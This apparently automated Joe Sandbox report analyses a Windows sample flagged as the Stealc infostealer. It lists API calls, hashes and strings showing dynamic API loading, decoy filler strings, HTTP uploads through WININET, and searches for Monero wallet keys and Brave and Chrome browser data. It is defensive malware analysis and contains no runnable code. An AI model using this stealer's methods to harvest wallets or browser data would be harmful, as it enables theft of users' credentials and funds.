Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1709937283.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.4%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 01019860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00A52338), ref: 010198A1
GetProcAddress.KERNEL32(74DD0000,00A524E8), ref: 010198BA
GetProcAddress.KERNEL32(74DD0000,00A523E0), ref: 010198D2
GetProcAddress.KERNEL32(74DD0000,00A52440), ref: 010198EA
GetProcAddress.KERNEL32(74DD0000,00A52218), ref: 01019903
GetProcAddress.KERNEL32(74DD0000,00A59198), ref: 0101991B
GetProcAddress.KERNEL32(74DD0000,00A45A90), ref: 01019933
GetProcAddress.KERNEL32(74DD0000,00A457D0), ref: 0101994C
GetProcAddress.KERNEL32(74DD0000,00A52260), ref: 01019964
GetProcAddress.KERNEL32(74DD0000,00A524D0), ref: 0101997C
GetProcAddress.KERNEL32(74DD0000,00A52308), ref: 01019995
GetProcAddress.KERNEL32(74DD0000,00A52488), ref: 010199AD
GetProcAddress.KERNEL32(74DD0000,00A45850), ref: 010199C5
GetProcAddress.KERNEL32(74DD0000,00A52320), ref: 010199DE
GetProcAddress.KERNEL32(74DD0000,00A52350), ref: 010199F6
GetProcAddress.KERNEL32(74DD0000,00A459B0), ref: 01019A0E
GetProcAddress.KERNEL32(74DD0000,00A52368), ref: 01019A27
GetProcAddress.KERNEL32(74DD0000,00A52410), ref: 01019A3F
GetProcAddress.KERNEL32(74DD0000,00A45750), ref: 01019A57
GetProcAddress.KERNEL32(74DD0000,00A52428), ref: 01019A70
GetProcAddress.KERNEL32(74DD0000,00A45770), ref: 01019A88
LoadLibraryA.KERNEL32(00A525C0,?,01016A00), ref: 01019A9A
LoadLibraryA.KERNEL32(00A525D8,?,01016A00), ref: 01019AAB
LoadLibraryA.KERNEL32(00A52578,?,01016A00), ref: 01019ABD
LoadLibraryA.KERNEL32(00A52518,?,01016A00), ref: 01019ACF
LoadLibraryA.KERNEL32(00A525A8,?,01016A00), ref: 01019AE0
GetProcAddress.KERNEL32(75A70000,00A52590), ref: 01019B02
GetProcAddress.KERNEL32(75290000,00A52530), ref: 01019B23
GetProcAddress.KERNEL32(75290000,00A52548), ref: 01019B3B
GetProcAddress.KERNEL32(75BD0000,00A52560), ref: 01019B5D
GetProcAddress.KERNEL32(75450000,00A45870), ref: 01019B7E
GetProcAddress.KERNEL32(76E90000,00A59268), ref: 01019B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 01019BB6

Strings

NtQueryInformationProcess, xrefs: 01019BAA

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 9a423691fb2a459f33f20ed36df30179c7715ce704573332749b05efd9e7e66a
Instruction ID: 5658958373001c44b38bf761902d4a66f381f86f9c96149def5b08813f33c1b6
Opcode Fuzzy Hash: 9a423691fb2a459f33f20ed36df30179c7715ce704573332749b05efd9e7e66a
Instruction Fuzzy Hash: 25A11ABE5C52409FE378EFA8F99CA6A3BF9F788301704451AE60BC724CD6399441DB50

Function 010045C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0100460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0100479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 010046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 01004622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0100471E

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: df3874472dfe5786d7b27d38f07e5299c62cb52ad5327c30929d1a74f25489e8
Instruction ID: 782100954feb217ec6f3f11db9cb663fc4486edb3ff0bbb6efef81dc5cbf5f3b
Opcode Fuzzy Hash: df3874472dfe5786d7b27d38f07e5299c62cb52ad5327c30929d1a74f25489e8
Instruction Fuzzy Hash: 854151217C22146EC63ABBF5ECEEEDD72A65F66744F61D84CE8405E240CBF06583452E

Function 01005100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 01004839
Part of subcall function 010047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 01004849

lstrlen.KERNEL32(00000000), ref: 01005193

Part of subcall function 01018EA0: CryptBinaryToStringA.CRYPT32(00000000,01005184,40000001,00000000,00000000,?,01005184), ref: 01018EC0

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 01005207
StrCmpCA.SHLWAPI(?,00A5EA78), ref: 01005225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 01005340
HttpOpenRequestA.WININET(00000000,00A5EA48,?,00A5E278,00000000,00000000,00400100,00000000), ref: 010053A4

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,00A5EA68,00000000,?,00A5A2D0,00000000,?,010219DC,00000000,?,010151CF), ref: 01005737
lstrlen.KERNEL32(00000000), ref: 0100574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0100575C
RtlAllocateHeap.NTDLL(00000000), ref: 01005763
lstrlen.KERNEL32(00000000), ref: 01005778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 010057A9
lstrlen.KERNEL32(00000000), ref: 010057C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 010057E1
lstrlen.KERNEL32(00000000,?,?), ref: 0100580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 01005822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0100584D
InternetCloseHandle.WININET(00000000), ref: 010058B1
InternetCloseHandle.WININET(00000000), ref: 010058BE
InternetCloseHandle.WININET(00000000), ref: 010058C8

Strings

--, xrefs: 01005280
------, xrefs: 01005297
------, xrefs: 010054F9
------, xrefs: 010053B7
", xrefs: 010055C4
", xrefs: 01005706
------, xrefs: 0100563B
", xrefs: 01005482

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 659cd5ceac12e60b6bb3f1267d1437fee38e73bbe47e2e065d0cb61575c39ed7
Instruction ID: cc2e63c8cbb4145c024110d1116fbb5250225f7b0a3f91c4d264d70b1e1ebb23
Opcode Fuzzy Hash: 659cd5ceac12e60b6bb3f1267d1437fee38e73bbe47e2e065d0cb61575c39ed7
Instruction Fuzzy Hash: CB323D76A21159EBDB15EBA0DC94FEEB378BF24610F404199F54763094EF382A4ACF60

Function 0100BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

FindFirstFileA.KERNEL32(00000000,?,01020B32,01020B2B,00000000,?,?,?,010213F4,01020B2A), ref: 0100BEF5
StrCmpCA.SHLWAPI(?,010213F8), ref: 0100BF4D
StrCmpCA.SHLWAPI(?,010213FC), ref: 0100BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0100C7BF
FindClose.KERNEL32(000000FF), ref: 0100C7D1

Strings

Brave, xrefs: 0100C102
Preferences, xrefs: 0100C11E
\Brave\Preferences, xrefs: 0100C1DB
Google Chrome, xrefs: 0100C634

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 5fc299a38ce6f3700b1748b1f62951d4a0259e52ed2dfce90aa9f30d2f772457
Instruction ID: e9a0dd610beb00ea14a235589729405ceb21805b4f84d13a48229a3f205e5fab
Opcode Fuzzy Hash: 5fc299a38ce6f3700b1748b1f62951d4a0259e52ed2dfce90aa9f30d2f772457
Instruction Fuzzy Hash: B842A372A00145EBDB15FB70DD95EED733DAB64300F404598E98B97084EF38AB4ACBA1

Function 6C5C35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C64F688,00001000), ref: 6C5C35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5C35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5C35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C5C363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C5C369F
__aulldiv.LIBCMT ref: 6C5C36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C5C3773
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5C377E
LeaveCriticalSection.KERNEL32(6C64F688), ref: 6C5C37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5C37C4
EnterCriticalSection.KERNEL32(6C64F688), ref: 6C5C37CB
